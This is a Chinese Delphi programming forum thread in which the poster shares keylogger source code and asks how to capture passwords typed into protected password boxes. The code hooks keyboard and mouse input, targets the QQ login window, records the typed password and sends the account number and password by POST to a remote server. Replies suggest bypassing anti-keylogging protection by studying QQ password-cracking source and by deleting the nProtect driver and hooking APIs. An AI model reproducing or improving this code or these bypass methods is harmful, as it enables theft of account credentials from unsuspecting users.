取密码框密码的问题,200分(200分)

  • 主题发起人 主题发起人 wuxing2046
  • 开始时间 开始时间
W

wuxing2046

Unregistered / Unconfirmed
GUEST, unregistred user!
通过DLL注入已经钩到用户名了,以下是代码,用其他的键盘钩子也是不可以,在98可以,QQ的密码框和其他的都可以,希望提供代码或修改方案----纯属技术问题<br><br><br><br><br>procedure logthekeys();//经典的键盘记录处理函数<br>var<br> &nbsp;i : byte;<br>begin<br> &nbsp;for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin case i of<br><br> &nbsp; &nbsp; &nbsp; 8 : &nbsp; {loggedkeys := loggedkeys +'[BACKSPACE]'}loggedkeys:=copy(loggedkeys,0,length(loggedkeys)-1) ;<br> &nbsp; &nbsp; &nbsp; &nbsp;//9 &nbsp;: &nbsp;loggedkeys := loggedkeys + '(TAB)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//13 : &nbsp;loggedkeys := loggedkeys + #13#10;<br> &nbsp; &nbsp; &nbsp; &nbsp;//17 : &nbsp;loggedkeys := loggedkeys + '(Ctrl)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//27 : &nbsp;loggedkeys := loggedkeys + '(ESC)';<br> &nbsp; &nbsp; &nbsp; &nbsp;32 : &nbsp;loggedkeys := loggedkeys + ' ';<br> &nbsp; &nbsp; &nbsp; &nbsp;//33 : &nbsp;loggedkeys := loggedkeys + '(Page up)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//34 : &nbsp;loggedkeys := loggedkeys + '(Page down)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//35 : &nbsp;loggedkeys := loggedkeys + '(End)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//36 : &nbsp;loggedkeys := loggedkeys + '(Home)';<br> &nbsp; &nbsp; &nbsp; &nbsp;37 : &nbsp;loggedkeys := loggedkeys + '(Left)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> &nbsp; &nbsp; &nbsp; &nbsp;//38 : &nbsp;loggedkeys := loggedkeys + '(Up)';<br> &nbsp; &nbsp; &nbsp; &nbsp;39 : &nbsp;loggedkeys := loggedkeys + '(Right)';//这里关键哦~一定要处理好这两个键!我懒得处理<br> &nbsp; &nbsp; &nbsp; &nbsp;//40 : &nbsp;loggedkeys := loggedkeys + '(Down)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//44 : &nbsp;loggedkeys := loggedkeys + '(Prnt Scrn)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//45 : &nbsp;loggedkeys := loggedkeys + '(Insert)';<br> &nbsp; &nbsp; &nbsp; &nbsp;//46 : &nbsp;loggedkeys := loggedkeys + '(Delete)';<br><br> &nbsp; &nbsp; &nbsp; &nbsp;//145 : loggedkeys := loggedkeys + '(Scroll lock)';<br> &nbsp; &nbsp; &nbsp; &nbsp;48 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+')'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'0';<br> &nbsp; &nbsp; &nbsp; &nbsp;49 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'!'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'1';<br> &nbsp; &nbsp; &nbsp; &nbsp;50 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'@'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'2';<br> &nbsp; &nbsp; &nbsp; &nbsp;51 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'#'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'3';<br> &nbsp; &nbsp; &nbsp; &nbsp;52 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'$'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'4';<br> &nbsp; &nbsp; &nbsp; &nbsp;53 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'%'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'5';<br> &nbsp; &nbsp; &nbsp; &nbsp;54 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'^'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'6';<br> &nbsp; &nbsp; &nbsp; &nbsp;55 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'7';<br> &nbsp; &nbsp; &nbsp; &nbsp;56 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'*'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'8';<br> &nbsp; &nbsp; &nbsp; &nbsp;57 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'('<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else &nbsp;loggedkeys:= loggedkeys+'9';<br><br> &nbsp; &nbsp; &nbsp; &nbsp;65..90 :<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((GetKeyState(VK_CAPITAL))=1) then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if GetKeyState(VK_SHIFT)&lt;0 then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;loggedkeys:= loggedkeys+LowerCase(Chr(i))<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;loggedkeys:= loggedkeys+UpperCase(Chr(i))<br><br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if GetKeyState(VK_SHIFT)&lt;0 then loggedkeys := loggedkeys+UpperCase(Chr(i))<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;loggedkeys:= loggedkeys+LowerCase(Chr(i));<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp; &nbsp;96..105 : &nbsp;loggedkeys:= loggedkeys + inttostr(i-96);<br> &nbsp; &nbsp; &nbsp; &nbsp;106: loggedkeys:= loggedkeys+'*';<br> &nbsp; &nbsp; &nbsp; &nbsp;107: loggedkeys:= loggedkeys+'&';<br> &nbsp; &nbsp; &nbsp; &nbsp;109: loggedkeys:= loggedkeys+'-';<br> &nbsp; &nbsp; &nbsp; &nbsp;110: loggedkeys:= loggedkeys+'.';<br> &nbsp; &nbsp; &nbsp; &nbsp;111: loggedkeys:= loggedkeys+'/';<br> &nbsp; &nbsp; &nbsp; &nbsp;//144 : &nbsp;loggedkeys:= loggedkeys+'[Num Lock]';<br> &nbsp; &nbsp; &nbsp; &nbsp;//112..123:loggedkeys:= loggedkeys+'[F'+IntToStr(i - 111)+']';<br> &nbsp; &nbsp; &nbsp; &nbsp;186 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+':'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+';';<br> &nbsp; &nbsp; &nbsp; &nbsp;187 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'+'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'=';<br> &nbsp; &nbsp; &nbsp; &nbsp;188 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&lt;'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+',';<br> &nbsp; &nbsp; &nbsp; &nbsp;189 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'_'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'-';<br> &nbsp; &nbsp; &nbsp; &nbsp;190 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&gt;'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'.';<br> &nbsp; &nbsp; &nbsp; &nbsp;191 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'?'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'/';<br> &nbsp; &nbsp; &nbsp; &nbsp;192 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'~'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'`';<br> &nbsp; &nbsp; &nbsp; &nbsp;219 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'{'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'[';<br> &nbsp; &nbsp; &nbsp; &nbsp;220 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'|'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'/';<br> &nbsp; &nbsp; &nbsp; &nbsp;221 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'}'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+']';<br> &nbsp; &nbsp; &nbsp; &nbsp;222 : if GetKeyState(VK_SHIFT)&lt;0 then &nbsp;loggedkeys:= loggedkeys+'&quot;'<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else &nbsp;loggedkeys:= loggedkeys+'''';<br>end;<br>end;<br>end;<br>end;<br> //============获得窗体句柄部分================<br>function Get_qqnumber:string;<br>var<br> &nbsp;buffer:array[0..50] of char;<br> &nbsp;Window,Number_window:Longint;<br>begin<br> &nbsp;result:='';<br> &nbsp;Window:=findwindow(nil,'身份验证');<br> &nbsp;if window=0 then exit;<br> &nbsp;Number_window:=FindWindowex(window,0,'ComboBox',nil);<br> &nbsp;if Number_window=0 then exit;<br> &nbsp;SendMessage(Number_window, $000D, 50, Integer(@buffer));<br> &nbsp;result:=string(buffer);<br>end;<br><br><br><br>function ispassword_window:boolean;//判断当前获取焦点的是否存在密码输入窗口<br>var<br> &nbsp;window,password_window:thandle;<br>begin<br> &nbsp;result:=false;<br> &nbsp;window:=findwindow(nil,'身份验证');<br> &nbsp;if window=0 then exit;<br> &nbsp;password_window:=findwindowex(window,0,'Button',nil);<br> &nbsp;if password_window=0 then exit;<br> &nbsp;result:=true;<br>end;<br><br><br>function isQQ:Thandle;//返回登录按钮的句柄<br>var<br> &nbsp;window,password_window:thandle;<br>begin<br> &nbsp;result:=0;<br> &nbsp;window:=findwindow(nil,'身份验证');<br> &nbsp;if window=0 then exit;<br> &nbsp;password_window:=findwindowex(window,0,'Button','确定');<br> &nbsp;if password_window=0 then exit;<br> &nbsp;result:=password_window;<br>end;<br><br><br><br>//================键盘钩子回调函数<br>function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>begin &nbsp; {回车} &nbsp; &nbsp; &nbsp; &nbsp;{键盘按键按下消息}<br> &nbsp;if (wParam=13) and(((LParam shr 31)and 1)=0)and(ispassword_window) &nbsp;then<br> &nbsp;begin<br> // messagebox(0,pchar(Get_qqnumber),pchar(loggedkeys),1);<br> &nbsp; PostURL('http://www.xxxxx.com/wxx.asp','num='+HtmlEncode(Get_qqnumber)+'&pass='+HtmlEncode(loggedkeys));<br> &nbsp; loggedkeys:='';<br> &nbsp;end else<br> &nbsp; begin<br> &nbsp; &nbsp;if (((LParam shr 31)and 1)=0)and(ispassword_window) then<br> &nbsp; &nbsp; begin<br> &nbsp; &nbsp; &nbsp;logthekeys();<br> &nbsp; &nbsp; <br> &nbsp; &nbsp; end;<br> &nbsp;end; <br> &nbsp;Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);<br>end;<br><br><br>//================鼠标钩子回调函数<br>function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;<br>var<br> &nbsp;buffer:array[0..255] of char;<br>begin {鼠标左键按下消息}<br> &nbsp;if wparam=$0201 then<br> &nbsp;begin<br> &nbsp; &nbsp;{SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,255,Integer(@buffer));}<br> &nbsp; &nbsp;if pMOUSEHOOKSTRUCT(lparam)^.hwnd=isQQ &nbsp;then<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; //messagebox(0,pchar(Get_qqnumber),pchar(loggedkeys),1);<br> &nbsp; &nbsp; &nbsp;PostURL('http://www.xxxxxx.com/wxx.asp','num='+HtmlEncode(Get_qqnumber)+'&pass='+HtmlEncode(loggedkeys));<br> &nbsp; &nbsp; &nbsp;loggedkeys:='';<br> &nbsp; &nbsp;end;<br> &nbsp;end;<br> &nbsp;Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);<br>end;<br><br><br><br><br><br><br>//==================挂钩<br>procedure HookOn;<br>begin<br> &nbsp;KeyHook &nbsp; &nbsp; :=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);<br> &nbsp;MouseHook &nbsp; :=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);<br><br>end;<br><br><br>//=================脱钩<br>procedure HookOff;<br>begin<br> &nbsp;UnHookWindowsHookEx(KeyHook);<br> &nbsp;UnHookWindowsHookEx(MouseHook);<br> &nbsp;end;<br><br><br>//=================导出函数<br>exports &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> &nbsp;HookOn,HookOff;<br><br> begin<br><br>end.
 
好象用了键盘保护,类似联众的那种,有没有相关资料啊?
 
你可以參考下這本書:&lt;&lt;delphi下深入windows核心編程&gt;&gt;。在delphifans.com網站有下載。
 
代码是没有问题,是你操作的对象采用了保护,例如现在去钩QQ就不太好弄
 
键议下载刘麻子写的破QQ2005密码保护的源码看看,会有帮助的。<br><br>而且还可以丢掉你用的经典键盘记录处理函数
 
procedure logthekeys();//经典的键盘记录处理函数<br>这个函数有个好处...<br>不需要挂钩子也可以~~获取键盘记录~不信<br>试试写个定时器看看~呵呵~<br>这个函数其实是从..<br>幻影WinEggDrop的无钩子键盘记录器那里学来的招数..<br>不知道怎么被别人用到这里的..都是我的错~我没说清楚就发布代码了~<br>我该死...<br><br>刘麻子.GG的破解nPro方法是~<br>删除驱动.然后..API挂钩..装一下样子..呵呵~暂时没想到好办法<br>至于装样子...你可以替换资源~把~两个资源名称交换一下呵呵~不然就替换资源吧.<br>都一样..那种强行破解估计..要到Ring0下了
 

Similar threads

后退
顶部